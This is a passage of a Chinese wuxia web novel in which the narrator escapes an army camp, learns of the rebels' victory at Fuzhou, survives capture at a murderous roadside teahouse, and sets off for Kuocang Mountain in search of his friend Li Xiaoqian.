与柳无风的争执,并没有什么结果。他依旧坚持平叛,管天下、双刀门、福州城乃至整个江湖,都已危在旦夕。 我转身离开。快要出门之时,柳无风问我“你要去哪里?” 我说“我要去想办法阻止这一切,虽然,我时至今日,我仍旧没有什么办法。” 柳无风大吼一声“站住!” 我一怔,莫非他愿意帮我了? 我激动地转身,问“你有办法?” 柳无风说“你不能走!” 我问“为什么?” 柳无风说“明日清晨大军进军福州城,等这仗打完了你才能走。” 我心里一凉万万没有想到事情竟然发展的如此之快。 我说“不行,我现在就要走。” 柳无风目光一冷,“咣”的一声拔出他那顶造型奇特的大刀,对我说道“那便要对不住了。” 说完他大刀一横向我扫来。 我身子向后一错,躲开他的刀锋。身子尚未站稳之际,我已开始凝聚真气,通过掌心注入剑中,九郎剑光芒大盛,发出阵阵轻吟。 一招破刀剑招。 刀光剑影在空中交错,迸裂出密集的火花。电光火石之间,九郎剑如同砍瓜切菜一般,削入了柳洪峰的刀刃,然后轻巧地穿了过去。 “当”的一声脆响,柳如风的刀断成了两截。 柳无风脸色大变,连退两步心疼地看着自己的断刀,叫苦道“十两银子又没了。” 不待他再做出其他什么反应,我转身冲出了他的营帐。柳无风紧跟在我身后,也冲了出来,他大吼一声“快抓住他,别叫他跑了!”¥!爱奇文学iqix!更好更新更快 柳无风一 声令下,随即有百十名手持长矛刀剑的士兵如潮水一般,从四面八方涌来。只顷刻之间,便将我团团围了起来。 这时的我已不是当年那个手无缚鸡之力的少年。虽不能说是已身经百战,却也是和江湖上许多顶尖的高手对阵过的。 尽管如此,这种以一抵百的场面,我还是第一次碰到。 现在人群中间的我紧张到了极点,一颗汗珠悄然从额头滑下,低落在九郎剑上,发出“叮”的一声响。 柳无风缓缓走出人群,对我说“快跟我回去。” 虽然没有什么底气,但我却不知那里来的勇气,对着柳无风大声回应了一句“你休想。” 柳无风没有说话。他又缓缓地退入了人群。就他身影消失的那一刻,四周百余名士兵同时发出雷鸣一般的吼声。与此同时,百十杆长枪银光闪烁,同时向我刺了过来。 这个江湖上曾有不少以一敌百,甚至是以一敌千的传闻。但可惜的是,我并不是这些传奇里的主角。 我只有一把剑,即便是能挡住那如电火行空般快的一百根银针,却如何抵得住同时从四面八方刺来的百十支长枪? 我决定放弃抵抗。就在此时与这个复杂的江湖彻底说一声永别。就这样结束也好,正好省去我许多苦恼。 “都给我住手!” 话音一落,一圈枪尖在距离我身子半米的地方陡然停下。柳无风在人群后大声叫骂“都是猪脑袋吗?我让你们抓住他,没有让你们杀了他。” 乌泱泱的一片士兵傻愣愣地盯在了原地,他们彼此相望,满脸茫然,不知所措。 “咣啷”一声。 一个瘦小的士兵扔了手里的长枪。左右各撸了一把袖子,“呀”地大叫一声,向我扑来。 我抬起脚,轻一用力,将那瘦小的士兵踢飞。 前面靠我近些的士兵彼此对视,挤眉弄眼地传递着信息。突然,他们同时扔掉手中的长枪,又同时跃起,如同群狼围攻猎物一般扑向了我。 二十多只大小不一、力道不均的手掌压在了我的头上、脸上、肩上,抓住我的衣襟、胸口、小腹…… 我双拳紧握,一股强劲有力的气流从我丹田缓缓升起,融入血脉,游走周身。 我大吼一声,双臂一震,二十多个人倒飞出去。甚至有几人口鼻出血,落地时当即昏厥。这股内力,比我那日在闽赣边界的小镇救人时,威力有进了许多。 我不敢置信地看着我的双手,它依旧是当年那个普华无实的模样,平凡的与普罗大众的手无所不同。 而那股悄然滋生并在我体内不断发展壮大的内力,让我当真觉得 邪门儿,邪门儿得让我胆寒。 它到底是哪来的? 然而,此时的局势容不得我去想这些。剩下的士兵不再去扔手上的长枪,他们挺直枪杆,喊着相同的号子,一步一步地向我逼近。 百余士兵,正是想用这种枪尖儿不破皮毛的逼近战术,逼迫我放弃抵抗。 我双足点地,腾空跃起竟有两人之高。于是,我在空中来了一个轻巧地后翻,踩着那许多人地脑袋,跃出了包围。 落在地上的我,片刻不敢迟疑,直直地向着军营之外跑去。 声后的叫喊声持续了一阵,越来越小,直到我彻底听不到的时候,我已经跑出来军营约十里之远。 累得如同是清窍失灵了一般的我,一屁股坐在冰凉的草地上,大脑一片空白,只看见东方的天际线上,隐隐约约亮起一丝微微地红。 天要亮了! 我忽然想到,柳无风说,天亮之时,大军将会进军福州城! 大战在即,我却已经距离福州城有五十多里…… 别说是我已经筋疲力竭,即便是精神抖擞,精力充沛之时,恐怕也没有可能提前赶到福州城报信了。 完了! 福州城,即将成为管天下以及其他四个门派的墓地。这个江湖,半壁将倾。 而剩下的半壁,也将会在风雨中飘摇,不知能否撑得住从天而降的朝廷铁骑。 2 在最无计可施的时候,我选择了离开。 原本就已经是绝境,我已经没有再留下去的意义。这个时候,无论是对江湖,还是对朝廷,我再也不想有任何的牵挂。 我此时心心念念的也唯独有两件事情。 李小谦的安危。 小月的下落。 这段时间,我已经寻遍了福州城里里外外,几乎所有的地方,都不见李小谦的踪影。真的是活不见人,死不见尸。 但我愿相信他还活着,希望他还是如以前那样,虽然不辞而别,却会突然在某一天又回到我的面前,呲着牙对我说“老子我又去广东找我祖宗了!”。 我要去找小月。我要带着她离开这个是非纷扰的江湖,我也终于能明白了小月所说的话——这个武林盟主根本就不是我可以做的。 天全亮之时,远方的地平线下升起了滚滚的浓烟。黑烟腾腾升起,遮住了刚刚升起的太阳。虽然,我已听不见任何的厮杀,但我仍然可以想象但那浓烟之下,遍地火海的凄惨场景。 那要比五年前的雁荡山,更加凄惨。那是真正的人间地狱! 3 斗转星移,日月轮替。 我又去一次去孤魂野鬼一般地游荡 在天地之间,就仿佛是当年我逃离出雁荡山之后那样。 唯一不同的是,我这次无比清晰了我的去处。 陆家山庄。 距离小月在鄱阳湖畔匆忙离去的那日一过去一个月有余。她说,她要去找陆石去确定一些事情。 我并不知道她所要确定的事情是什么,也不知道那件事的结果如何。但无论怎样,我都要找到她。告诉她,我愿与她一同离开,天涯海角,再不问江湖琐事。 快到临安的时候。 古道旁的一家茶铺,许多过往的行人在那里歇脚。 茶铺的老板是一个五大三粗的黑脸汉子,他肩头搭着一块灰黑的抹布,手提着闪亮的铜壶,在几张桌椅间来回穿梭,为客人添置茶水,忙得不亦乐乎。 我在一张空桌前坐下。屁股刚落在板凳上,老板便满脸堆笑地跑了过来,大声吆喝着“客官要着什么?” 我问“你这里有什么?” 他咧着大嘴,一脸憨厚地笑着,拍了拍手里的铜壶,说“有茶水。” 我问“还有什么?” 他思索了片刻,咧嘴又笑“没了!” 我说“那你还问我做什么?倒茶便是了!” 茶铺老板应了一声,在我面前摆下一盏空碗,茶水如柱,从壶嘴中滚滚落下,片刻将空碗填满。他说“不是小的多嘴,虽然铺子里只有凉茶,但问上一句,显得尊重。我在城里见那些大馆里的伙计,都是这样问的。”说罢,他提着铜壶快速走到我邻桌刚刚坐下的几个汉子面前,又问起来同样的问题。 我苦笑着摇了摇头,端起茶碗抿了一口。 茶水虽然清凉,入口却极为苦涩。 我强忍着咽了下去,片刻之后,只觉得嘴唇发干。用舌头一舔,几乎就要黏在一起。 “他娘的!”邻桌的一个汉子“啪”地打碎了茶碗,骂道,“狗养的东西,给老子倒得什么茶水,苦死老子了!” 茶铺老板提着铜壶跑来,赔笑道“客官息怒,小铺的茶水乃是独门配方熬制,清热去火,滋养心肺。” 那汉子根本不听解释,一把揪住茶铺老板,骂道“狗屁东西!老子心肺好着呢,要你这鸟茶滋养,快快去给我换些普通茶水来,不然砸了你的铺子!” 茶铺老板诺诺地点头,仓皇离去。 那汉子骂咧咧地坐下来,他身旁的另一个模样俊秀的中年劝解道“好了,出门在外总要有所迁就,不要动不动就惹事生非。” 那汉子脸色一变,对俊秀中年连连点头称是,言辞恭敬,举止谦卑。 俊秀中年身旁坐着一个锦衣少年,他有意岔开 话题,将脑袋凑到两人中间,小声说道“两位师叔,你们有没有听说,管天下大军已经打到江西了!” 我猛然已经,几乎不敢相信自己的耳朵。随即,我便觉得好笑。这怎么可能呢?我一路从福州赶来,况且,那日福州城浓烟四起,乃是我亲眼所见。只怕管天下,早已命丧福州了。 “这又不是什么新鲜事,全天下都知道了,还用你这小毛头来说?”俊秀中年笑道,“朝廷啊朝廷,没想到打金人不成,打一群贼寇也如此不堪一击,当人让人觉得失望。” 听完俊秀中年的话,我那刚刚放下的一颗心又陡然之间提了起来。 难道,那日福州城,柳无风的大军竟然败给了管天下?! (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百五十三章 有风 1 福州城一战,薛弼与柳无风的确败给了管天下。 甚至可以说是惨败。 那日天色拂晓之时,柳无风整军待发。就在盘点兵侧之时,未入城的汀泉派、往生堂、阔刀门、南剑门的弟子组队,从后方偷袭了平叛大军的粮草大营。 火光冲天,浓烟滚滚。 柳无风率军赶去救火,但那支偷袭的队伍早已经不见了踪影。正在平叛大军奋力救火之际,却不想双刀门的外围弟子从各地问讯而来,早已悄然埋伏在大营四周。 平叛大军一片混乱。数千名双刀门外围弟子,身披甲胄,手持刀刃,杀入乱军丛中。让原本混乱的场面,更加混乱。 而柳无风他们万万没有想到的是,福州城里的内讧,只不过是管天下等人故意放出的假象。深夜丑时,福州城侧门洞开,城中的五大门派弟子悄然出城,在平叛大军东北、西南两侧,只待火光四起,白刃相交之时,一拥而上。 不到半个时辰,五万大军浴血奋战到最后,只剩下星星点点的几千人。薛弼和柳无风眼见大势已去,弃营而逃。 大获全胜之后,管天下在汀泉山召开武林大会,他被一致推选为新任武林盟主。他向江湖传令朝廷昏聩,奸佞当道,怯受外辱而排斥江湖,使得武道没落,门派不兴。他还号召江湖上不堪受辱的门派,四海来聚,共举大义,重振江湖。 一时间,江湖上许多濒临绝境的小门派,甚至是一些已经解散的门派,纷纷依附了管天下。这时,又赶上闽赣两地大面积灾荒,更有无数的难民前去投奔。 管天下大军攻入江西之时,人数已接近了十万。 这已经不是一个江湖能够掀起的滔天巨浪,而是天下,是民心向背。 2 我静静听着邻桌三人兴致勃然的议论,表面上不动,心里已波涛汹涌,震惊得几乎无法呼吸。 原来,我那日看到浓烟滚滚,并非是福州城里的惨象,而是平叛大军粮草大营被烈火焚烧的景象。 一阵天旋地转,我只觉得后脑发沉,身子一软,浑然失去了知觉。 当我再醒过来的时候,已不知被什么人绑了手脚,仍在一个简陋的茅草屋里。我身旁躺着的,是方才在我邻桌议论的三个人,他们也被绳索绑着,在地上一动不动,尚未清醒过来。 “咣”的一声,破木门被人一脚踹开。 黑脸的茶铺老板狞笑走了进来,他手里拿着的光彩绚丽的短剑正是我的贴身兵刃——九郎剑。 我问他“你是谁?为什么绑我?” 茶铺老板把弄着我的剑,一脸奸笑,说“进了爷爷家的 店,就是爷爷我案板上的白肉,我想怎么弄就怎么弄,哪有什么为什么。” 他哈哈大笑,震醒了我身旁昏昏晕厥的三个人。曾与茶铺老板叫骂的那个汉子发现自己手脚被绳索绑了起来,登时怒目圆睁,大叫道“是哪个不要命地捆了老子?看我不把他卵子捏出黄来!” 茶铺老板冲过去用九郎剑狠狠地砸了他脑袋一下,喝道“嚷什么!再嚷我就割了你的脑袋!” 那汉子青筋暴起,已是怒不可遏,大叫“不知死活的狗东西,你敢砸老子的头,你可知道老子是谁?!” 茶铺老板冷哼一声,说“狮子山的铁雷公,自诩一副铁打的脊背,刀枪不入,江湖人称铁王八。”他用九郎剑戳了戳铁雷公的背,说“不知你这王八盖子能不能承受这小兄弟的一剑。” 铁雷公眉毛一横,叫道“来呀!给你试试!” 茶铺老板冷笑一下,拔出九郎剑在铁雷公的背上轻轻一划。铁雷公“哎呦”一声惨叫,背上的衣服被划开一道口子,随即鲜血渗出,染红了一大片。 茶铺老板放声大笑,嘲讽道“原来你这王八壳儿也不过是浪得虚名嘛!” 铁雷公憋得满脸通红,大声叫嚷“有胆量你松开老子,咱俩堂堂正正地比划比划!” 茶铺老板“呸”了一声,不再理会,惊喜地盯着银光闪闪的九郎剑,兴奋地念着“真是一把好剑,真是一把好剑啊!” 我说“那是我的剑!” 茶铺老板两眼一瞪,说“现在是我的了!” 这时,那个俊秀的中年说“兄台,你将我们绑在这里,不只是否我们有什么地方得罪了你。若是又不当之处,还请你将我们松绑,我好郑重向你致歉。” 茶铺老板喝道“少说没用的。爷爷我最烦你这种说话文绉绉的斯文人,月前有一个白脸的小子也是你这样斯斯文文的,让我打了一顿,当时就‘我靠,我靠’地叫了起来!” 是李小谦!他没死! 我心中一喜,问道“他人哪里?” 茶铺老板一脚踹在我身上,说“管你屁事!” 俊秀中年又说“兄台,你若只是求财,大可把我们放了。狮子山虽然不是什么高门富户,却也不缺银两。你要你开个价,我定然如数奉上。” 茶铺老板冷哼一声,说“你当我是傻子吗?都知道你们狮子山近来攀上了括苍派的高枝,风头正盛,若我将你放了,岂还有我的好日子过。” 另一名锦衣少年怒道“师叔,不要跟他废话了。屈屈一根绳索,怎么能捆得住你,快挣脱了,打得他满地找牙!” 俊 秀中年摇头苦笑。茶铺老板大笑,说“你个小毛孩子,我沙通海的乾坤索乃是用软钢丝编织而成,其实你说挣开就能挣开的?!” 我暗运功力,汇聚上臂,用力一挣,那绳索发出“吱吱”的响声,却丝毫无损。 沙通海笑道“你也别废力气了,还是留着去走黄泉路吧!” 这时,一阵急促的脚步声从门外传来。接着,一个高瘦的男子从门外进来,对着沙通海低声说道“大哥,马车准备好了!” 沙通海一点头,说“把他四个人扔到车上,找个没人的地方烧了。记住,要烧成白灰才可,绝不能留下一丝一毫的痕迹。” 那高瘦男子应了一声,向门外一招呼,又蹿进来四个人。我定睛一看,这些人分明就是方才在茶水摊上喝茶的客人。 原来,这是一家杀人越货的黑店。 我说“这里距离临安府这么近,你们在这里作案,就不怕被官府发现吗?” 沙通海一怔,说“朝廷正忙着打仗,自身难保,哪有心思来管我们。这个时候不趁机捞点银子,等到天下大定之时,便没有这么好的机会了!” 他话刚说完,随即脸色一变,对着我又是一脚。骂道“跟你多这些废话作甚,死到临头还问这么多。”他转头对着高瘦男子嘱咐了一句“这人问题太多,烧之前先割了他的舌头,省得到了阎王殿还要告我们的状!” 高瘦男子嘿嘿一笑,说“好。全都割下来,给兄弟们下酒。” 话音刚落,锦衣少年放声大哭起来,他边嚎边喊“我什么也不说,你们不要割我的舌头。” 铁雷公在一旁劝慰“小卓别怕,他们若敢动你,我就算是做鬼也不会放了他们。” 俊俏男子一直摇头叹息,说“天命如此,天命如此啊!” 3 五个人将我们扔在马车上。 这时已是夜间,四周漆黑一片,月亮隐入黑云之后,只散出一点模模糊糊的亮影,于这深邃的黑夜索然无趣。 一片僻静的树林之中。 几个汉子如同搬运货物一般将我们从马车上拖了下来。高瘦男子从腰间拔出一把匕首,走到我身旁,缓缓蹲下,说“这是我大哥嘱咐的事,你不要怪我了!” 他用力捏住我的两腮,想要撬开我的嘴。我紧闭双唇,死死地咬着牙,左右摇头地挣扎着。 高瘦男子愈发愤怒,他手上更加用力,冲我威胁道“你最好自己伸出舌头让我来割,不然老子就用刀子豁开你的嘴,再剌下你的舌头!” 锦衣少年听到高瘦男子的话,在一旁吓得哇哇大哭,一个汉子上前扇 了他一个耳光,吼道“住嘴!再敢出声,先割了你的舌头!”锦衣少年立时止住哭声,但声音虽然止住了,哭意却如洪水猛兽一般地爆发出来,嘴里发出沉闷的“呜呜”声,听得人甚感可怜。 铁雷公吼道“你们这些泼贼,欺负一个小孩子算什么本事,有胆放了老子,老子要把你们的鸟蛋统统捏碎!” 铁雷公这样一喊,高瘦男子突然松开了我,晃着手中的匕首走向铁雷公,冷冷地说“好你个铁王八,死到临头了还敢威胁我们。老子这就割了你的鸟蛋,让你来生投胎去做个娘们儿!” 这话并非只是恐吓,高瘦男子举着匕首恶狠狠地冲着铁雷公双腿之间切了下去。 眼看着,雷公就要变成电母。千钧一发之际,却听见“嗖”的一声,从不明的黑暗中飞出一柄长刀。 “啊!” 高瘦男子与铁雷公同时大叫,声音交叠,其中悲切几乎到了撕心裂肺的地步。 铁雷公的双腿之间鲜血淋淋,侵染了大片裤腿。但那血却不是铁雷公的,而是来自在一旁死死抓着手臂惨叫的高瘦男子。 他的手,被那一闪而过的长刀斩断,正在落在铁雷公的裆部,还死死地攥着那柄匕首。 高瘦男子倒栽在地上,他的表情痛苦而疑惑,他怎么也不会想到,这样偏僻的树林中会陡然飞出一柄刀来,将他的手生生切断。 “踏,踏,踏” 一阵不紧不慢的脚步声从深邃的黑暗中缓缓飘来。一个人影,一个穿着括苍派服饰的人影赫然出现在我们的面前。 我还未看得清那人的模样,却听见他说“情急之下,不得已而为之。实在是因为你这断子绝孙的做法太过狠毒了。” 这声音入耳,只觉得尤为熟悉。 那人影又走近几步,我心里一阵惊讶,叫道“陈有风!” 陈有风一怔,转头与我四目相视,摆手叫道“哎呀,这不是姬盟主嘛!”他快步走到我跟前,将我手脚上的绳索解开,问“你怎么也落了这些贼人的圈套了?” 我揉了揉被累得又麻又疼的手腕,苦涩一笑,只说一言难尽。 “师父,师父!”锦衣少年带着哭腔叫嚷,“快来救我啊,师父!” 陈有风又急忙走到那少年身旁,将他手脚上的绳索除去。少年起身开始为他两位师叔松绑。陈有风站直了身子,对着几个吓得几乎已站不稳身子的贼寇说“敢问你们是哪里的帮派,为何下手要如此狠毒?” 铁元周起身吼道“陈兄不必跟他们这些废话,让我来捏碎他们的卵子!” 几个人登时吓得脸色大变, 跪地求饶。铁元周根本不想放过他们,他双手拿成鹰爪姿势,虎步向前,像是小孩掏鸟窝一般地伸向了一人的裤裆,将那几个贼寇吓得连滚带爬地就要逃窜。 “元周!”俊秀男子大声将他喝止,拽住他胳膊说道,“罢了,罢了,不要再伤人了。” 铁元周狠狠作罢,说道“我大哥替你们求情,我便饶了你们,今后再敢作恶,当心你们的卵子!”他狠狠攥了攥拳头,算作最后的威胁。 几个贼寇匍匐在地上,感激涕零。高手的男子攥着自己被砍断的手臂,表情痛苦,泪如雨下。 “滚!”铁元周大吼一声,那些人仓皇逃窜,转眼没入黑暗之中。 俊秀男子冲着陈有风一抱拳,说“多谢陈兄相救。”铁元周跟着他身后,也连连称谢。陈有风客气地摆了摆手,说“举手之劳,何足挂齿。” 少年提着血淋淋的刀跑了过来,从怀里掏出白娟将刀上的血渍擦净,郑重地端给陈有风,说“师父,你的刀。” 陈有风借过刀,爱怜地抚了抚那少年的头,说“你的武功还需加紧修炼才是,况且也不能随随便便就被几个贼人吓得大哭大叫,堕了狮子山与括苍派的威名。” 少年讪讪一笑,说“谨遵师命。” 俊秀男子主动走到了我跟前,冲我一抱拳,说“在下狮子山谢弘毅,这位是我的三弟铁元周,这是我的小师侄杜风卓,今日我四人共患难一场也是缘分,敢问兄台高姓大名。” 我尴尬一笑,说“姬旦丙。” 谢弘毅脸色一变,惊道“你便是武林盟主?” 我心中一片苦涩,叹了口气,说“我已经不是什么武林盟主了,你不要这么称呼我了。” 谢弘毅有些尴尬,他思索了片刻,说“不知姬兄弟此番经过,是去往何处啊。” 我说“我要去找一个人。” 陈有风与杜风卓嘱咐完,走到我面前,说“姬盟主” 我打断他,说“我说过了,我已经不是盟主了。” 陈有风微一沉吟,说“好吧,姬兄弟。我有一事请教。” 我问“什么事?” 陈有风说“福州城祸起之时,你可是被困福州?” 我点了点头,说“是。” 陈有风说“家师曾命我前去救你,我到福州时,那里已被大军团团包围,福州城城门紧闭,不知姬兄弟是如何脱身的?” 我说“是易小心救了我。” 陈有风一怔“易掌门?!他为何会”他话说了一半,突然停住了,兀自笑了笑,说“倒也没什么奇怪的 ,你与白前辈渊源颇深,他去救你也是情理之中。” 我忽然想起了陈伯洋,那个手持金丝海皮刀的矮胖男人。 我问“你师父近来可好?” 陈有风忽然叹了口气,说“师父整日为管天下之事忧心忡忡,他曾多次寄书于他,望他能止息兵戈,莫要置江湖于万劫不复。但是,管门主固执得很,他不仅不听师父的劝解,反而一再鼓动师父带领括苍派与他一同起事。如今,管门主兵马攻入江西,已发展到了如此地步,只怕是再也没有回头的余地了。” 是啊。当日五万大军压向福州城的时候,就已经没有可能挽回了。 我一阵自责,说“如果不是我,或许这件事便不会发生了。” 陈有风惊诧地问“此时与姬兄弟有关?” 我点了点头。从最初在临安收到管天下反对武林盟之事讲起,说到我是如何游说各大门派,如何揭破趣笔阁与往生堂的关系,如何挑唆龙虎帮与往生堂反目成仇,又是如何深入福州逼反了管天下等人的经过向陈有风从头到尾说了一遍。 陈有风听得目瞪口呆,过了许久才发了一声感慨“原来是这样!” 我说“这一切都是因为我。” 在旁一直默默听我陈述的铁元周重重哼了一声,说“阴险小人。我若是管天上便捏碎了你和那个李小谦的卵子!” 李小谦! 铁元周的一句话提醒了我,我此时不应当在此与他们叙说这些往事,我应当尽快赶去那家茶铺。沙通海口中所说的那个满口“我靠”的斯文男子,或许就是李小谦! 况且,我的九郎剑还在沙通海手中,我必须将它夺回来。 来不及与他们再多说几句,我向陈有风草草告别,说“我有要事,先走了。” 陈有风抱拳想要向我道别。 但我并没有等他说完,便急匆匆地冲入了夜色之中,向着那间茶铺飞奔而去。 临走时,我听到一个少年殷切的声音。 “师父,我饿了,想吃鸡蛋饼!” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百五十四章 再上括苍 1 我冲进茶铺的时候,沙通海正慌张地收拾着包裹。他将多年来的累累硕果一把一把地从木箱子里掏出了,各式各样的金银珠宝被他裹在两块方布包袱里,塞得鼓鼓囊囊。 “把剑还给我!”我吼了一声。 沙通海被我吓得浑身一哆嗦,转过身来先是一阵慌张,随后嘿嘿地笑起来,说“吓了老子一大跳,原来只有一个人来了。我刚听老三说,括苍派一个颇厉害的人物杀过来了,我还以是他呢!” 我不愿搭理他这些废话,又向他重申了一遍,说“快把剑还给我。” 沙通海不慌不忙地从怀里掏出九郎剑,在手中一晃,九郎剑光彩绚丽。他轻蔑地说“剑就在我手里,有本事你过来拿呀!” 我说“好。”说完,我快步向他走过去。沙通海眉头一皱,拔剑出鞘,顺势向我一挥。 九郎剑依旧是银光闪动,无论在谁手里都是那样的锋利无比。 只是,沙通海的速度太慢了。 在我眼中,他就像是一个七八岁的小孩子举着一根树枝想要抽我一样。我一抬手,攥住了他的手腕,剑就停在我身侧,再没移动过半寸。 沙通海显然已发现了我的厉害,他满脸惊恐,开口叫道“大侠饶命!” 我手上稍稍加了一些力道,沙通海“嗷”的一声惨叫,九郎剑从他手中脱出,“咣啷”一声掉落在地上。 我翻手一掌将沙通海推翻在地上,把九郎剑捡起来,说“把剑鞘还给我。” 沙通海浑身颤抖,连忙翻身跪在地上,双手托着剑鞘举过头顶,送到我面前。他颤声说道“大侠,我,我知错了,你,你绕了我吧。” 看着沙通海的样子,我不禁觉得可笑。 这世间的许多人,总是头脑一热,便觉得天不怕地不怕,却只有当后果呈现在眼前地时候,才真正懂得什么叫做悔不该当初。 就像曾经的我一样。 我说“我不会杀你,你走吧。” 沙通海难以置信地看着我,轻声问“此话当真?” 我说“我不会杀你,但我要问你一个问题,你要老实回答我。” 沙通海连忙磕头,说“大侠请问,小的知无不言。” 我说“你之前所说的那个满嘴‘我靠’的斯文男子,是不是叫李小谦?” 沙通海愣了愣,说“小的不知道他叫什么名字。但那男子言语十分怪异,令人费解。” 我说“他说什么了?” 沙通海说“小的当时见他故作斯文,听得实在难受,便揪起他来打了一顿。他说他说,我这叫故意伤害, 他要打什么幺幺零报警。小的至今也没想清楚,这幺幺零到底是什么人。” 是李小谦不错! 我兴奋的问“他人在哪里?” 沙通海说“他被,他被括苍派的陈伯洋救走了!” 陈伯洋! 我问“陈伯洋怎么会在这里?” 沙通海说“小的也不知道。但我看得出陈伯洋与那小子十分熟悉,好像是多年的老相识一般。” 我再次陷入了迷茫。 在我的记忆中,李小谦与陈伯洋仅有的交集,也不过是在巢湖武林大会与淮水之畔草草的两面,又怎么会成了沙通海口中所说的那个“多年的老相识”呢? 除非 我心里一惊,浑身抑制不住地颤抖着。除非当年括苍山武林大会上,我所见到的那个感觉熟悉的蒙面男子,就是李小谦! “大侠?” 正在我陷入震惊之中无法自拔之际,沙通海轻声地唤了我一声。我心不在焉地问“怎么了?” 沙通海讪笑着,问“我可以走了吗?” 我说“你走吧。” 沙通海像是死囚得了赦免令一样,对我千恩万谢一番,转身收拾起两包袱金银珠宝,背着身上。 “叮!” 一声清脆悦耳的响声莫名吸引了我。那是一根碧绿色的发簪落在地面上发出的声音。那簪子色泽温润,青翠可人,别出心裁的做成了带叶青竹的模样。翠绿的青竹也下,一弯银器的月牙,散发着亮白色的光。 沙通海弯腰去捡。我不自禁地脱口而出“等等!” 沙通海立时停下动作,弯着身子一动不动。我捡起那根簪子,拿在手里越看越是喜爱。那弯隐在竹叶之中银光闪闪的月牙,莫名让我想起了小月。 若是带着她的头上,不知会是怎么样的美艳动人。 我说“能送给我吗?” 沙通海愣住了,他不舍地看着簪子,脸上露出难色,说“这,这个” 我问“不行?” 沙通海脸色一变,连忙笑道“行,行,当然行,大侠喜欢尽管拿去。” 我点了点头,把簪子收入怀中。那一瞬间,我竟将诸多烦恼全部抛之脑后,一心只想着我把它送给小月时,她会是怎样的欢喜。 她会如在鄱阳湖畔之时,依偎在我怀里,柔情似水地对我笑吗? 2 绍兴十六年八月中,管天下的大军,攻克了吉安城。 平叛大军节节败退。管天下的大军正势如破竹一般,一步步向着江浙两路逼近。 我想,这个时候,只怕高坐于殿堂 之上的皇上再也坐不住屁股,急得四处乱窜了吧。不知为什么,一想到他急咧咧的模样,我竟然莫名其妙的高兴。 这一路上,李小谦的事一直盘旋着我脑海之中,既让我迷茫,又让我愤怒。 如果他真的就是括苍山武林大会上的那个黑衣人,那这么长时间以来,为何他要一直隐瞒着我? 他为什么要骗我? 我低头思索,心不在焉地走着,心神困住自我的遐思里,都已经感觉不到自己在走路,只觉得是脚下干黄的土地不停地往我身后退去。 恍惚间,我抬起头,一条笔直通向两个方向的岔路出现在万里无云的穹顶之下。 这两条路,一条通向陆家山庄。而另一条却可以去往括苍山。 若我没有听到沙通海的那番话,我会毫不犹豫地奔向陆家山庄去寻找小月。然而,人生没有假设,我实在无法对沙通海的话置若罔闻,李小谦的秘密就像是颗沉重的铅坠,坠在我的心口,让我难以忍受。 我摸着胸口。那支翠玉的簪子依旧静静地等待着它的新主人。 那便让它再等一些时日吧。 烈日当空,我眺望陆家山庄的方向,大地一片蒸腾,空气晃动着将那条笔直的摇曳得几如梦境一般。 我转身走向了另一个路口,朝着括苍山的方向,快速跑去。 许多年后,我挽起小月的手,漫步在一望无际的草原上时,曾对她说起过这日的选择。 这是多么残忍多么可怕的路口。 幸运的是,小月温婉如故,她安慰我说,当人怎么抉择到底选哪条道路才能不让自己犯错时,谁又能够看透这世间抉择背后的景象呢? 3 绍兴十六年九月。 历经千山万水,我到达了括苍山。 登上山门的时候,两个设卡的弟子拦住我,说“上山门票,纹银五两!” 五两?! 我惊道“不是一两银子吗?怎么一年的时间变成了五两?” 身穿括苍派服饰的弟子上下打量了我一遍,一屁股坐在石墩上,食指翘起,扣着鼻孔,说“猪肉涨价了!” 我说“猪肉涨价了,关门票什么事?” 另一名弟子一拍桌几,大声说道“因为我们也要吃猪肉!” 无奈之下,我只得掏出五两银子,买了一张“通行纸”。我无奈地笑了笑,陡然攀升的物价只有在我掏钱的一刻才能比怀念天下太平的日子。 将黄符一样的“通行纸”揣入怀中,我正要继续向前,却见那个坐在石墩上挖鼻孔的弟子忽然有站了起来。他伸手拦住我,挖过鼻孔的手指不知有意还是无 意地在我胸口蹭了一下,让我一阵嫌弃。 我问“还有什么事?” 他说“上山禁止携带兵刃,请将兵刃交给我们暂存。” 一想到要将九郎剑交给他们,我心里便百般地不情愿,不放心,也不甘心。我想要与他们理论一番,但转念一想,自己过去因为冲动惹下了多少祸事,如今到了括苍山的地盘,总也要守一下他们的规矩,免得徒增是非。 我将九郎剑掏出了,正要交给那名弟子,却听见他又说“纹银一两。” 这他娘的没完没了啦。 我怒道“不是交了五两银子吗?为何还要向我收钱?” 那弟子不耐烦地说“五两银子是门票,一两银子是物品寄存!” 我忍无可忍,将九郎剑收入袖中,说“不存了!”说完,我憋着满腔怒火,阔步向山上走去。 “站住!站住!” 两名弟子紧追不舍,在我身后大声叫喊。 我丝毫不予理会,自顾大步向前。突然,那弟子一个健步冲到我前面,挡住我去路,说“好大的胆子,竟敢带兵刃闯山!” 我说“闯了又如何?!” 他大声说道“罚款十两!” 我再也忍不住了,即便是山林古道的抢匪也没有向他们这般无休止的。我大吼一声“滚开!” 然而,那弟子非但没有滚开,反而挥拳向我面门猛击。 我一侧身,轻易躲开。 没想到,在我身后的那名弟子竟也同时出拳袭击我后脑。我这一躲,造成两只迅猛凌厉的铁拳意外地锤在了一起。 “咔!” 一声骨骼碎裂的响声从两只陡然相撞的拳头间发出。两个弟子“哎呦”一声惨叫,同时收起拳头揉搓,表情之痛苦,竟莫名让我有些愧疚。 我说“你们没事吧?” 两名弟子满脸通红,“仓啷”两声,纷纷拔刀,二话不说便向我砍来。 我连连后退躲避,同时掏出九郎剑,“乒乓”两声,两把刀断成四截。两个弟子气急败坏,扔了手中的断刀,扑到我身上。 也不论什么招式,什么拳法,功夫,在我身上乱抓、乱扯、乱咬 当我用力将他们挣脱开的时候,我的衣服已被他们撕扯得无一完处,尤其是肩膀上一个骇人的大口子,从肩膀直接开到肘部。 两个人依旧不解气,跳起来又向我虎扑。我飞起一脚,将一人踹翻在地,他脑袋重重磕在地上,当场便晕了过去。 另一名弟子或许是觉得自己孤军奋战,顿时没了底气,竟然骂骂咧咧地调头向山上跑去。 我本想放他离 开,但看到自己被糟蹋得破烂不堪的衣服,气便不打一处来。我疾步冲上去,对着那名边骂边跑的弟子抬腿又是一脚。 那弟子一个踉跄趴倒在石阶上,转头惶惶不安地看着我,说“你,你要干什么?!” 我说“把你的衣服脱下来!” 那弟子慌忙抱住自己的胸口,说“我,我可是男人!” 我说“女人的我还不要呢!” 